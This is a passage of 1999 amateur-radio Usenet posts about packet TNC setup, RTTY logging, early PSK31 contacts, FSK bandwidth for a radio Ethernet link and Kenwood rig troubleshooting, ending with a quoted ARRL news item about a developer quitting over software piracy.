the Windows CE market. It runs for weeks on
just two AA batteries! Just a tad bigger than
the HP 200LX, it has a pcmcia slot for a modem or
ram card, a serial port (to hook up a tnc, external
modem, or sync it to your desktop), an IrDa port,
and a removable rom for later upgrades. Keep in
mind that this palmtop will not run regular DOS
applications so the Baycom TNC cannot be used with
it, but the KPC-3 can be. Search the internet,
send/recieve email, read newsgroups, keep your
contacts on it, keep important appointments on it,
write papers in pocket Word or make a spreadsheet
in Excel! Comes with included software, manuals,
and sync cable for the desktop pc. $125 or best offer!

Shipping is paid by the buyer also. Or buy it all as a package
for just $300 plus shipping. Please email me at cuteduo@i1.net
or n3ypa@qsl.net if interested or need more information.

Thank-you
Mike
N3YPA/0

469. Re: AEA PK-232MBX settings needed

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-25 00:00:00 UTC
From: Rick and Theresa <pilots@mbay.net>
Message-ID: <36AD3EC2.FDD74283@mbay.net>
Source record: 20019

Hi Tom,

If you're running you're terminal program set to something simple, like 1200 baud, 8 bits, No parity, 1 stop bit --- you should be able to just turn the PK232 on and get things to sync up (as indicated by the logon blurbs followed by the "cmd: " prompt.

If not, try typing asterisks (shift-8) at one second intervals and see if the PK232 responds with the normal startup messages, followed by the "cmd: " prompt.

If you don't have a "cmd: " prompt and think you may be stuck in the HOST mode, typing a few CTRL-C's (say three within one second) might force you to exit the HOST mode and enter the normal command mode.

If that fails, you can always lift the cover, disconnect the backup battery for a few minutes (some people recommend 30 minutes), leave the battery disconnected to erase all the memory, then turn the PK232 on with the terminal program running.

Once you're talking between the computer and the PK232, you should be able to send commands, set callsign, set time etc. Depending on the terminal program you are running, you can decide whether you need to reconnect the backup battery or not. If you're running a simple terminal program like terminal.exe or hypertrm.exe, then you might want to connect the battery. If you're using a more sophisticated program that sends initialization strings to the PK232 upon terminal program startup, then you're just as well off keeping the battery disconnected.

Later, to maximize connection speed between the PK232 and computer, use the command
TB 9600
to set the talking rate to 9600 baud. This doesn't take effect until you issue the RESTART command. Once you type RESTART and RETURN/ENTER, the PK232 will restart in the 9600 baud speed. You will need to reset your terminal program to 9600 also to eliminate the gibberish on the screen caused by the computer/PK232 mismatch.

Good Luck 73 Rick N6CY

Has anyone been able to download the FFT12 program though the link below?
The link is to the simtel FTP achive, but every time I've tried to download
the program, it always times out midway through. It's frustrating to
download 1 Meg of the file, then have it die. It also appears simtel doesn't
support picking up where the download left off.

473. Re: anyone bought a Hal DXP38?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-26 00:00:00 UTC
From: w7md@my-dejanews.com
Message-ID: <78kvca$57q$1@nnrp1.dejanews.com>
Source record: 20023

I have been using my new DXP38B for a few days. I have very little digital mode experience but so far it is working well. The serial number on my new unit shipped from the factory is #151 so there are not a whole bunch out there yet. I have used it only on RTTY to QSO. So far, the modem and the software - a DOS program - work well. It copies Pactor nicely but I have not tried to QSO with it in that mode. The tuning facilities are good. There are 2 tuning modes for the big LED array on the front panel and 2 in the DOS program. The Windows software has not been released yet. I am using it with a Kenwood TS-870S. I made my own cables with RG-174 mini coax cable and it cranked right up OK. I had been using an MFJ-1278B for a short while which works ok but the tuning facilities are not as accurate with the MFJ. In addition, the DXP38B has DSP which costs bucks to add to the MFJ. The HAL product also has a flash bios with free upgrades and comes with free software. It isn't cheap but for what it is it is not expensive. 73 Damon S Raphael W7MD Tucson, AZ article <36A8A602.C646A570@uchicago.edu>, Ken Hopper <k-hopper@uchicago.edu> wrote:

Practically all TNC-2s did this as well.

On the TNC-2, you could tweak the crystal trimmer a little
bit and the harmonic would move.

To VE7PLN:
Philip,
You said you have used an HP48G with a TNC for packet. I wonder if you used it in a very portable application. I just recently (couple days ago) got an HP48G calculator, and have managed to get it up and running on packet through a KAM Plus as well. What I want to know is what a good very small TNC would be. The idea is to have a totally battery powered (standard NiCD/alkaline not gel cell) packet station. I have the terminal. I have the radio, but I just need the TNC. The cheaper the better. I am interested in portable packet operation on my college campus. What kind of small TNC's do you have experience with?

There is no charge for Nextel two way radio service. Only when you use the Nextel transceiver as a cellular telephone you get charged. All other two way communication is free.

Nextel sucks here in New England. The calls are delayed, the disconnection rate is high, and the interference is terrible. I haven't met one satisfied Nextel customer up here in the Northeast.

Those are caused by things getting out of sync, packet wise. It happens frequently if two TNC's are on the same freq with the same call sign and same SSID's. Remember when a call sign goes thru a node it usually comes out the other side with a different SSID. Two of the same call on a freq gets messy quickly....

488. Logging Baudot RTTY QSOs with AFSK modem and computer software

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-27 00:00:00 UTC
From: wa2rsx@att.netWORKed.net
Message-ID: <36af22a9.141865045@netnews.worldnet.att.net>
Source record: 20038

Hello:

I am wondering what is the preferred method of logging the frequency for RTTY QSOs when filling out QSL cards and/or the logbook? Should these entries for both be the same? e.i. I report the received signal data/frequency of the station QSOed on a QSL card, right? But my logbook must show my own transmit data/frequency.

Should the Mark QRG be used? I notice that just about all postings to the Webcluster appear to be the suppressed carrier frequency; or, am I incorrect in this?

Also, what is the present day FCC requirement for logging the mode of transmission/emmission? Is it F1A or J2B? when using a computer program and AFSK modem interface at my station for Baudot RTTY QSOs?

73s, and have fun.

Source record: 20039

With the release of the version 1.2 of Pacterm '98 and PKTerm '99, Creative Services Software is looking for input from hams for new features for our 32 bit software line of products for the Kantronics and Timewave/AEA TNC's.

The goal of CSS is to create and maintain high quality, fairly priced ham radio software for the Windows 32 bit market. CSS is a growing company, and out of the 6 employees of CSS, 4 are Hams.

Good software requires input of the users of the software, and we want to listen to you. Send your suggestions for new features to wish@cssincorp.com . I personally guarantee that I will read each and ever suggestion personally, and will considering it highly.

Hams have help CSS grow in the last year and a half. (We're actually a 10 year old company, but started developing ham software the past 2 years). And we thank you for the support you've given us, as we've tried our best to make quality ham software.

Actually, I think only the band is required for the QSL and in the U.S.
no log is required at all so you can log it how ever you wish. If you
wish to accurately report RTTY freq. then you have to use Mark (or
center) because the Dial reading will vary from one station to another
depending on what equipment they use and how its set up.

Source record: 20041

Hi Vince,

In a PERFECT world it is my understanding that the Mark frequency should be used. However, as many operators do not know (or do not care) what their mark frequency is in AFSK when used in SSB mode they refer to the digital readout (carrier) frequency. In many radios when used in the FSK mode, however, the readout frequency is automatically corrected by the computer to read the MARK frequency. I know it does that on my IC-746.

I would not worry about it. They are close enough to find from the cluster and occasionally more accurate either way than many transceiver readout's :-).

On QSL's, I usually put 20 meters instead of, say, 14,082.768 Mhz., after all, I've never found anyone who really cares.

Regards, Ron

Makes no difference how you do it. "20M" "14 MHz" "14.085"
"14.085.85" or whatever. Just get the point across. My PC logs the
frequency that the rig shows, and that's what goes on my cards. All
that matters is that you indicate the correct band (and even then only
if the card might eventually be used for DXCC or WAS or some other
award).

For DX cluster spotting, most seem to use the Mark frequency; I've
never paid any attention one way or the other - especially since my
frequency readout goes to 10Hz and the DX Cluster spots only show 100
Hz resolution. On the RTTY reflector recently, there was a fair amount
of derision towards those who spot at some frequency other than mark
(apparently some people aren't smart enough to use the spotted
frequency as a guide and actually turn the dial one way or the other
until the desired station is heard...)

>Also, what is the present day FCC requirement for logging the mode of
>transmission/emmission?

There are no FCC requirements for logging of any kind, let alone how
you specify a particular emission type. So you can just put "RTTY"
for the mode and be done with it.

KISS mode can cause FRMR if the channel is crowded. But usually it is
a sign that something goes terribly wrong...
It is a software problem.

496. PK-232 European tones and calibration help please

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-27 00:00:00 UTC
From: 106255.1565@compuserve.com
Message-ID: <36af95a6.14982007@news.compuserve.com>
Source record: 20046
Cross-posted to: rec.radio.amateur.digital.misc,uk.radio.amateur

I have a PK-232MBX which seems to be the European export version with European tones. My manual only quotes the US tones under the CALibrate command (using 200 Hz shift on HF). Thus R168 is shown as controlling HF mark at 2110 Hz whereas it is actually nearer 1460 Hz mark and 1660 Hz space.
Does anyone have the correct European tones as specified by AEA? Do you also know the correct procedure for calibrating R81/R96 (discriminator). I am sure that my settings have drifted with time.
Any other advice welcome.
As an aside does anyone know if the new DSP add-on works with European tones?
Thanks and 73 from Richard G4BBH

Source record: 20047

Really people, there is only one correct way to specify the channel that any FSK mode might use and that is what has been said for years by the IARU (International Amateur Radio Union):

The lowest emitted tone shall be the MARK tone and considered the channel frequency.

Only hams have the luxury of being able to "swish around". If your interested in hitting a given station that remains silent until hit with the proper tone, why not do it right the first time!

Note how nice this system is. No mention is made of tone frequency, just the lowest, thus European and American standards apply. No mention need be made about FSK or AFSK---again just the lowest emitted RF frequency! No need to mention shift either---again just the lowest emitted frequency.

The operator can note his dial reading to accomplish this at any time, but why continually battle the obvious in ham radio? Cliff K7RR

498. HP200lx & packet radio

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-27 00:00:00 UTC
From: Ken Harris <kjh@lacasabonita.com>
Message-ID: <36AFD4BF.14C5D3DA@lacasabonita.com>

I have an HP200LX and a Tigertronics ("Baycom") packet
radio modem.

I'm wonder how people use this:

1. What software do you use. It ships w/ L2/SCC, and I'm
wondering how you think that compares to PMP & Flexnet for use
w/ the HP200lx. In particular, I'm interested in software that
will talk with a "mailbox" automagically.

2. I'm kinda new to DOS (I know UNIX & Win95)... and I'm
concerned about the interaction of the "system manager" (SMC) and TSR
softare (like "l2.exe"). Right now I exit out of SMC completely
to run "l2".

3. I made a custom "autoexec.bat" so that SMC wouldn't run,
but then the batteries ran down quickly. I think the trick here
is to run "serctl/o". Is that right? ... and I have to turn on
the serial port before running "l2", eh?

499. [Q] FSK bandwidth for 10-megabit Ethernet

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-27 00:00:00 UTC
From: John Miles <jmiles@pop.removethistomailme.net>
Message-ID: <36AFFCA9.425E@pop.removethistomailme.net>
Source record: 20049
Cross-posted to: rec.radio.amateur.homebrew,sci.electronics.design,rec.radio.amateur.digital.misc

I'm wondering if anyone can answer a couple of basic questions, and/or point me towards some good, easy-to-understand references on FSK communications theory. I've done the DejaNews thing, looked at a few dozen web pages, and pored over various editions of the ARRL handbook, but haven't yet found the answer(s) I'm looking for. Thought I'd throw the issues out for general discussion.

Here's the problem: I'm interested in determining a reasonable channel bandwidth for an RF modem capable of handling 10-megabit Manchester-encoded Ethernet data from a 10BaseT interface. The modem will use simple FSK modulation, probably with the MC13155 chip, and I need to determine some good working values for the peak FM deviation and IF bandwidth requirements.

It's my understanding that support for 10-megabit Ethernet dictates that signals up to 20 MHz be passed without substantial phase distortion. Looking at an actual data stream on a storage scope, it appears that every Ethernet packet is preceded by a dozen or so cycles of a 20 MHz burst, presumably for clock synchronization, so I'm assuming that the system 3-dB bandwidth needs to be at 25 MHz or so. Unless I'm off base, 25 MHz seems like a good starting point.

A good estimation of the RF/IF bandwidth required for an FM channel is given by Carson's rule, i.e.,

bw = 2 * (highest modulating frequency + peak FM deviation)

This works out reasonably well for conventional FM audio transmission applications with modulation indices of somewhere around 1 or more. An 18 kHz FM channel can carry a 4 kHz signal with a deviation of 6 kHz (modulation index = 6/4 = 1.5), and so forth.

Now, for conventional FM voice communications, typical NBFM modulation indexes seem to be in the 1 to 2 range. What I am wondering, is what modulation index values are generally chosen for FSK data transmission, and on what basis? Plugging in a modulation index of 1.5 for my 25 MHz channel yields a total bandwidth requirement of

2 * (25 MHz + 37.5 MHz deviation) = 125 MHz

125 MHz for 10-megabit FSK seems awfully high to me, in light of existing designs that seem to get away with much less bandwidth. Glenn Elmore's page at http://www.tapr.org/~n6gn/uwavelink/faster.html suggests that it's reasonable to use a peak deviation of 2 MHz with 10 Mbps data, yielding a channel bandwidth of only 14 MHz, but I have two questions about his derivation:

1) Glenn's application of Carson's rule, 2*(2+5)=14, assumes that a low-pass cutoff of 5 MHz is sufficient to transmit 10 Mbps Ethernet data. I don't see how this could be the case, given the presence of much higher-frequency components (like my observed 20 MHz burst) in a real-world 10BaseT signal.

2) A peak deviation of 2 MHz with even a 5 MHz maximum frequency works out to an FM modulation index of only 0.4. With a 25 MHz cutoff the modulation index would become 0.08. These figures are much lower than the the modulation indices used on FM voice channels, suggesting that perhaps I'm mistaken in applying terms like "modulation index" to FSK in the first place. Are these modulation index values reasonable for FSK data transmission, and if not, what should I be shooting for instead?

Obviously these are some pretty fundamental questions, and I don't mind replies like "you don't even have the basics right, you need to hit the books," as long as they are accompanied by pointers to good references on the subject. I know Glenn Elmore hangs out here, but I have already bugged him enough in email on this project, and have concluded that what he is calling "10 MBps Ethernet" on his web site is somehow very different from what I am seeing with an actual 10BaseT link. :) He reports success in running a MC13055 demodulator at 10 megabits with the above FM parameters, but I have been completely unable to duplicate this feat on my own bench. No doubt I'll get good empirical results by tinkering around with the faster MC13155 chip, but this is one of those cases where I would rather have a sound theoretical knowledge of what's going on.

TIA for any insights!

503. PSK on the AIR!

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-28 00:00:00 UTC
From: z005381b@bc.seflin.org
Message-ID: <78oomf$i0o@nntp.seflin.org>
Source record: 20053

PSK31 is on the air!
~~~~~~~~~~~~~~~~~~~
Heard N7DME and W6JVE on BPSK this evening on 14.07110 Mhz at 0322Z.

Jim (N7DME) mentioned that he had worked a guy in PA earlier on 15m using 10 watts. The other guy was running 5 watts at the time.

Here's what I have found out in using the PSK31 program;

The "waterfall" window is ~430 Hz wide and it is no problem to tune someone in. I was using an AOR receiver that allows 1 Hz tuning steps which is very helpful for the final tune.

3. The waterfall tuning works VERY good and you -can- "see" and copy signals you barely can hear. I was so busy trying out the program etc I forgot all about trying attenuation in the receiver to see what it did at/below the noise level! (Next time for sure!)

While listening to N7DME I set my DSP unit down to 10 Hz B/W and the copy was still ok. I found 20 or 30 Hz B/W to be absolutely fine. It's interesting to see the waterfall display change as you vary the DSP B/W. I used 10 Hz steps for the "coarse" tuning.

N7DME's signal was a few dB above the noise level, the "S" meter was not responding at all to his signal, only background noise. Setting the Rx B/W from 3 kHz to 220 kHz had no affect on the copy of his signal even though the background "noise" level changed.

The signals sound very much like a very narrow ringing 1 Khz crystal filter. But not annoying at all. The modulation has a "smooth" sound so the ringing affect isn't that bad. Certainly RTTY signals are more nerve jangling.

TRY THIS MODE, IF YOU LIKE KEYBOARD QSOs. I THINK YOU'LL LIKE IT!

73, Jim Rosenthal, WA4STJ

Get rid of the Manchester-encoding first. It will double your base-band
spectrum
- you donï¿½t need that.

> A good estimation of the RF/IF bandwidth required for an FM channel is
> given by Carson's rule, i.e.,
>
> bw = 2 * (highest modulating frequency + peak FM deviation)

Carsonï¿½s rule works only for wide band FM. For NBFM it is more or less

BW= 2*highest modulating frequency

For 9k6 FSK we usually use 3kHz peak deviation, so for your application
3MHz
sounds reasonable. 20MHz is maybe a bit too narrow (so you will down
some -30dB there)
but it would be ok for the receive filter. With 2MHz as N6GN suggests,
20MHz should
be ok, although I doubt that the signal will fit into 14MHz.

As we all know, it is practically impossible to calculate the spectrum
of an
analog FM signal (only for some cases it is possible). For data signals
the
spectrum can be calculated (although it is quite difficult).

The main point in any bandwidth discussion is: how do you define
bandwidth?
An FM signal *always* has an infinite bandwidth - thatï¿½s the theory.
The spectrum decays quite slowly, so if we say -40dB is ok for our
neighbour channel,
25MHz should be fine in your case. For the IF filter the bandwidth
should
be more narrow, as your signal will probably be only 20dB above noise,
so that you
can use 15-20MHz wide filters.

73ï¿½ Alexander

Hi John,
I did a similar thing to this almost a decade ago.
My task was to extend our company's computer network about 200 metres (to a new building we had just leased in the next street).
I was given a low power FM video link in the 10.5GHz band. The baseband bandwidth was quoted as 7MHz, but it was only about 1 dB down at 10MHz when I measured it on a network analyser. The link was designed to operate in a 14MHz RF bandwidth. I don't remember what the deviation was set to.
(The link was one of our products, so we had spare ones lying around.)

We used arcnet instead of ethernet (I said this was a long time ago!). Arcnet uses token passing, and runs at 2.5Mbps with 3 level signalling, IIRC. I think it looks a little like filtered AMI. The voltages are huge! Something like 10Vp-p.
I modified an arcnet repeater box, and brought out Tx and Rx streams on separate coax connectors.
[You are using 10baseT, so you already have separate Tx and Rx signals.]
The Tx signal went into a pad to adjust the level and match the 93ohm arcnet and the 75 ohm video input of the link.
The Rx signal from the link went into a high speed opamp for some gain, and then a hybrid buffer amp (LH0002 ?) to drive the arcnet.

Suprisingly, it worked first time. I just had to tweak the gain to get it to work reliably. It only took a few days from being given the task to having a working bench model. It went on-line a few days after that.

The RF output had several spurs many tens of MHz away from the carrier. These were way outside the spectral mask for the channel. Sorry, it was so long ago, I can't remember just how bad it was. However, the power was so low (we used high gain dishes, I think the Tx power was << 0dBm), that the output spectrum was not relevant, as the whole thing was in the "unlicensed" category. YMMV, depending on the communications authority in your country.

I guess I could have tried to filter the Tx baseband signal, but then I would have needed to perform the complementary filter operation in the receiver.
Another way would have been to use comparators to slice the receive signal at some (possibly adaptive) threshold. The outputs of the comparators could be combined in some way to produce a better looking pulse shape.

IIRC, 10baseT uses two level signalling, so you would only need one comparator.

Another thing to look out for is the DC resistance of pulse transformers in network interfaces. My receiver output had a small amount of mains hum which caused a large current to flow at 50Hz. The prototype blew up after a week. I fixed it with a series capacitor.

So much for the cheap and dirty solution. The better way to get ethernet across a radio link is to do the following:
1. Get a pair of ethernet routers or bridges with wan ports. Routers that do address filtering are better, as they reduce the traffic on the wan link.
2. Use a digital radio to connect the wan ports.

I contend that this way is better, because it will be easier to monitor and control, and it won't trash the network at either end when the link gets noisy. Also, each ethernet will be in a separate collision domain, which helps when they are heavily loaded.
Most networks will already have a router, bridge or switch installed somewhere anyway, so there will be no major additional costs.
It is also possible to turn a PC with a high speed serial card into a low cost bridge.

If you want to roll your own bridge, you can do it quite cheaply and with no software. See:
http://www.rad.com/components/componnt/rj017.htm
for an (almost) single chip bridge. Its wan port can be set to any speed up to 40Mbps.

I suggest that 2Mbps is probably enough for most ethernet applications, and 2Mbps digital radios are quite cheap. (We also made these, so they were just lying around...)
You could also get a radio which uses a more bandwidth efficient modulation, such as trellis coded QAM.
For example, 64QAM (not trellis coded) could be used to transmit 10Mbps in only a little over 2MHz of RF bandwidth.

Good luck,
Allan.
(I don't work for that company anymore.)

Hello Richard. From memory I think the original settings were 1260/1460.
I have my own set to 1275 and 1475.

From the service manual:-
Demodulator (Receive) settings are..
1) Connect the oscilloscope to U30 pin 14
2) Adjust R81 for maximum signal amplitude
3) Press the space bar. The on-screen frequency counter should read 2310
(1460 European ??) +/- 5 Hz
4) Connect the oscilloscope to U30 pin 1
5) Adjust R96 for maximum signal amplitude

Source record: 20060

Just a quick note XPWIN version 1.2.5 is now available from my
web site at www.goodnet.com/~gjohnson.

The major changes for the program are additional controller
support for the Kantronics KAM98 and HAL DXP38 controllers.

Several other reported bugs were also corrected. As for
updates to the software, there are several planned over the next
couple of months these involve adding more transceiver support,
expanding into the SCS host mode and several other user requested
updates.

XPWIN currently supports the followng controllers.

AEA PK232, PK900, DSP1232, DSP2232 and DSP232
Kantronics KAM, KAM+, KAM98, KPC3, KPC3P, KPC9612, KPC9612P
SCS PTC. PTC-II
Paccomm PTC
HAL P38, PCI4K, DXP38, DSP4100

512. AGW Packet Engine and Soundcards

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-28 00:00:00 UTC
From: "(SV2AGW)George Rossopoulos" <sv2agw@pigeon.ee.auth.gr>
Message-ID: <78qbmh$t4u$1@foo.grnet.gr>
Source record: 20062

Hi

Finally ,after 8 months of research, I released the first version for 1200b
packet using the soundcard.
So now AGW Packet Engine supports the follow tncs
1.all external serial tncs(including dual port like kantronics,dsp-2232 etc)
2.Baycom for 1200/2400b
3.YAM
3.DRSI cards (all of them)
4.Uscc (4 and 2 channels)
5.Optoscc
6.Petscc
7.OE5DXL 9600b cheap modem
8.Picpar and BP-96 (9600b)
9.SoundCards with PSA chipset (1200/9600)
10.Any sound card that WIN95/98 support (1200b)

The Soundcard dsp modem uses the multimedia windows API. The program can
work even with slower computers (486).

For more details and downloads check my web site
http://www.forthnet.gr/sv2agw/

Source record: 20064

Well, actually, the whole point of usenet news is having non-centralized servers... so essentially, the host of the group *YOU* are reading is AOL- the one I am reading, while still rec.radio.amateur.digital.misc, is hosted by Natural Resources Canada, which is my ISP. When you post to a usenet newsgroup, it is distributed around the world automatically, and fairly randomly. :-) Much like the packet radio network, where packets fly all over the place before they actually get to where they are supposed to be going. Email is point-to-point on the internet, so it's a little more orderly than usenet. Controlled chaos, if you will.

515. Advice - remote control, digital comms

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-28 00:00:00 UTC
From: Tim & Gina Woodburn <Tim@focalpoint.freeserve.co.uk>
Message-ID: <78qtb1veq1@news7.svr.pol.co.uk>
Source record: 20065

I am currently looking at digital comms for my entry into UK Robot wars.
The band I'm using is 40Mhz.

I plan to send RS232 data with error detection (CRC) or forward error
correction. Does anybody know of any software that can do this?

Finally, any hints or tips that may have sprung to mind would be greatly
appreciated.

Thanks

Tim

Sounds like you got lucky with the 10base2 transceiver, getting it to work the first time you powered it up! I am seldom so lucky... it'll be interesting to play with the MC13155 chip this weekend and see if my luck changes versus what I was getting with the slower 13055.

I am just planning to run this link across a ~150-foot parking lot with a couple of K-band Gunnplexers, so I am not horribly concerned about total occupied bandwidth as long as it turns out to be within the 13155's limits. I am, however, concerned with the fact that I don't know, and can't seem to find in any textbooks, the theory behind how much frequency deviation should be used for FSK and what the tradeoffs are.

I agree that the "better" way is to get a couple of actual Ethernet bridges and connect them with a commercial radio link, but considering that all I am trying to do is learn a little about high-speed data transmission and play a decent game of Quake, I don't think I can justify the $6K-$15K budget that the commercial solutions demand. This is strictly for personal amusement and telecommuting rather than any type of mission-critical commercial application.

There is a severe shortage of good literature in the ham community on 10-megabit data transmission theory and practice. There are plenty of DejaNews entries with people asking "how do I make the N6GN design work at 10 megabits," but to date nobody has reported details of a successful, reproducable project. If all goes well with the MC13155, it might be nice to put a short article in QST or QEX detailing the design

of the RF modem and its 10BaseT interface, just for the benefit of posterity. That is one reason I am not comfortable just fiddling with the deviation and channel bandwidth until it happens to work -- it is hard to look scientifically-enlightened when you can't fill at least a couple paragraphs with complicated-looking equations. :-)

...and replace it with what, though? I'm not too familiar with the
alternatives to Manchester as far as FSK transmission is concerned.
Since this is just a one-off project for personal amusement, I would
rather not complicate the design by resorting to a more exotic
modulation scheme or converting the physical layer between different
formats, if possible. I am going to be piping this channel through a
pair of good-quality K-band Gunnplexers that would probably work fine
with a 500 MHz modulation bandwidth, so *optimizing* the bandwidth isn't
nearly as important to me as *understanding* what factors go into the
bandwidth calculation.

Hmmm. The ARRL Handbook claims that Carson's rule works only for
narrow-band FM. (scratching head, looking confused)

That's the impression I get, although (again) I wish I knew the
quantitative basis for selecting a given amount of deviation. It
probably comes down to S/N ratio in the end -- most everything does,
really -- but it would be nice if I could track down some analytic
descriptions.

Source record: 20069

Sunday, before the superbowl, is a good time for me Seth.

You pick the freq, my antenna is equally bad on all the bands :) It is
one of the rain gutters on my condo.

I have to back down the rf gain on my 757 to keep from overloading
my sound card. VOX seems to work well on transmit. The 757 has
"back panel" af ouput at 200mv p-p and an AFSK input, both of them
are standard RCA jacks. I am using RCA to 1/8 inch adapters on a
nice commercial twin-lead audio patch cable between the radio and
the sound card.

The PSK31 web page and the software I downloaded advises USB. And
to start with BPSK to initiate the contact, then switch to QPSK.

I anticipate difficulty in tuning the 757. It tunes in 10hz steps and
displays
the 100hz steps. But it does have a "shift" tuner and the software can
adjust some to get the signal on center.

I look forward to hearing from you... and anybody else that would like to
get into the fray. The more the merrier!

Here I go, replying to my own posts again....

>We used arcnet instead of ethernet (I said this was a long time ago!).

We actually were using 10base2 ethernet for our computer network at
the time. I figured that the bandwidth of ethernet would have been
much too high for the FM video link (as you've found), and decided
that arcnet, at 2.5Mbps, would be much easier.

There was a Novell Netware server at each end of the link, so I just
plugged an arcnet card into each, and loaded the appropriate driver to
get it to route packets between the ethernet and arcnet.

Allan.

More news about PSK31 signals and the program.
~~~~~~
Listening to NB6Z and K1GMH QSO on 14.071267 Mhz. A 59+30 Packet signal 1.5 Khz away with beam to North doesn't interfer with NB6Z's signal. He's running 5 watts (battery powered). His signal was not observable on the "S" meter!

On another signal I switched the 5 way DOW antenna switch to a position with no antenna connected (two empty positions away from the antenna with dummy load in between) and I was still copying a PSK signal that was weak ON the antenna! Another signal was copied fine with Packet sig 59+10, 1.1 Khz away. If can you can hear them at all you WILL copy them OK!

I've heard many signals around 14.070 to 14.720 MHz. This evening. The guys are mentioning going to 40m but haven't said what freq they are hanging around. I would guess near 7.025 Mhz.

Most people are still getting used to the mode and are trying different power levels etc. Just about everyone is trying the lowest settings their rigs will go down to (5/10 watts generally). All the while there is a 59+20 Packet station screaming away (now) ~1.2 Khz away!) The narrow DSP settings really do a job on those "other" guys! :)

A 6 came on with 4CX1000 and everyone was telling him to "toss it" and use the exciter on LOW power. One guy downloaded the program and was on the air in just a few minutes. He cheated, he had the cables already made up!

I made a more careful measurement and found out the "waterfall" tuning scope is +/- 250 Hz about the "Rx Freq Hz" display frequency.

The latest version of the program is V1.04. You can get it from;

ftp://det.bi.ehu.es/pub/ham/psk31

p31sbw104.zip is the sound card version and the one you'll probably want.

: > Carsoni¿½s rule works only for wide band FM. For NBFM it is more or less
: > BW= 2*highest modulating frequency

: Hmmm. The ARRL Handbook claims that Carson's rule works only for
: *narrow-band* FM. (scratching head, looking confused)

In theory, FM and FSK generate an infinite number of sidebands at
multiples of the modulating frequency, but the amplitude of the
highest sidebands depend on the Bessel function of the modulation
index.

The BW=2*mf only applies for a modulation index less than about 1.0,
i.e. only the first sideband pair has significant amplitude. After
that, the second pair will also become significant, i.e. the bandwidth
is BW=4*fm up to a modulation index about 1.8 after which the third
sideband pair has a significant amplitude (-20 dB down from the
carrier) and thus the bandwidth BW=6*fm.

With modulation index=1.8, the peak deviation is 1.8*fm and the
Carson's rule gives BW=2*(1+1.8)*fm or 5.6*fm, so it is also a
question how you define "significant" sidebands.

Not sure when the Super Bowl is going to start, how about 10:00am
Pacific Time on Sunday? Let's try 14.070, or 14.069 if primary is busy.
I will be on USB, BPSK. I will be exactly on 14.070, +/- a few Hz.

Let's see what happens...

Hello all!
Our ARC on campus, WA2NPQ, has a Kenwood TS-820S in great shape -
except we can't get it to transmit! When trying to tune-up, we get proper
plate idling current, but when it comes to Drive tuning and Plate tuning,
we can't get an ALC reading on the meter. The manual says to turn the CAR
control up 'till an ALC reading is obtained, but that isn't working for
us. The rig has a new set of finals and I've gone through and checked for
loose solder joints/board connectors, but I can't find any openly-obvious
problem. We'd really like to get the rig working as we just put up a G5RV
on the tallest bldg. on campus (we're itching to get talking!) If anyone
can help us out (ie. previous 820S owners, other insightful persons,
etc.), please reply to this account.

Thanks and 73,

- Greg (gtmiller@buffalo.edu)

On 10 meters you might try something higher than 28.1, as you will find a few more hams (tech+). 28.070 is General and higher.

My TAPR EVM interface kit arrived this week, so I plan to drop the DSP board in to it and build it up this weekend. Then load the PSK software and see how it works. This modem is very interesting because of the published material. I have to complement the authors on a great and interesting Web page.

I've been messing with the packet activity on 28.185 +/- USB. The band is not stable. I hear several stations, but can't work them reliably over time, if at all. But then that may be a function of the high baud rate and general poor performance of packet on HF anyway.

A couple of things to check for:

1. The TS-820S has a 9-pin plug in the back for remote VFO. If you are not using the remote VFO, you need to insert the jumper plug that enables the internal VFO to the radio.

2. If you have a plug inserted into the CW key jack it will disable carrier generation unless the key is closed. This is a shorting jack, so unplugging the plug is like closing the key - either allows it to generate a CW carrier for tune-up purposes.

I had a electronic keyer that could not provide continuous key-down, so needed to modify it with a Push Button switch across the output so I could tune up the radio without reaching around behind and unplugging the CW key plug.

Greg OM,

Does the rig receive OK? If so:
Since you have proper idle current, the final tube voltages are probably
OK
Make sure the jumpers are in the external VFO plug on the back.
Verify plate and screen voltages are present on the 12BY7A driver, and
that
you have plate current on the 12BY7A. Troubleshoot the XMIT RF drive to
the
12BY7A.
The TS820 and TS820S are excellent, rugged and REPAIRABLE rigs. I have
been
using mine for almost 20 years now (thousands of hours on the air on CW and
FSK), and I would not part with it. It also has FSK (which the
TS520/530/430/440/830
do not), and is an excellent rig for Pactor/Amtor. Lastly, this rig can
be converted to
the WARC bands too.

You'll get it working. Enjoy!

73,
Don, W6JL

Source record: 19946

Just made my first PSK31 contact and have been listening around a little. Amazing mode, I can easily copy signals that I can barely hear down in the noise, sure blows RTTY away...

I'm starting to believe some of the hyperbole concerning the other PSK modes, particularly Pactor II. This stuff really does work with amazingly poor SNR's, although at $1000 vs. $0 PSK31 would seem to be the clear choice for keyboard-to-keyboard QSO's.

Maybe we will eventually see RTTY pushed out by this, time will tell.

See you on the air!

Hi Greg,

After all previous suggestions, fail you can try this.

USING A 50 OHM DUMMY LOAD at antenna connector.:

step 1 Turn carrier control fully clockwise.

step 2 Place meter switch fully ccw in alc position.

step 3 Place Mode switch in tune position

step 4 Tune the driver until meter deflects.

Please reply if this doesn't help.

We will just try something else.

Here's what your sort of ignorance brings on, you stupid bastard.

---

quoted from: ARRL Letter vol 18, No. 5 1-29-99

* K6STI goes out of software business: Ham radio software developer Brian Beezley, K6STI, has gone out of business. Beezley says he's dropping distribution and further software development as a result of the piracy of his RITTY radioteletype program. He says an overseas ham broke the copy protection on a demo version of his program and posted the pirated version on the Internet. That prompted him to discontinue selling software altogether, he said. "I've just had enough of it. I'm really quite disgusted and bitter," Beezley remarked. "I hate being stolen from." He said his software business was his main source of income, and he's not sure what he'll do next. Dick Stevens, N1RCT, who runs the "All Things RTTY" Web site (http://www.megalink.net/~n1rct/) called it "a sad day." He has pulled all versions of RITTY from his site. Beezley said he'll sell RITTY "if somebody wants it" but he has no plans to offer support or further program enhancements. He also had developed five antenna programs, including the Yagi-optimizing program YO. Beezley remains available only via the USPS at 3532 Linda Vista Dr, San Marcos, CA 92069. He no longer has e-mail service.

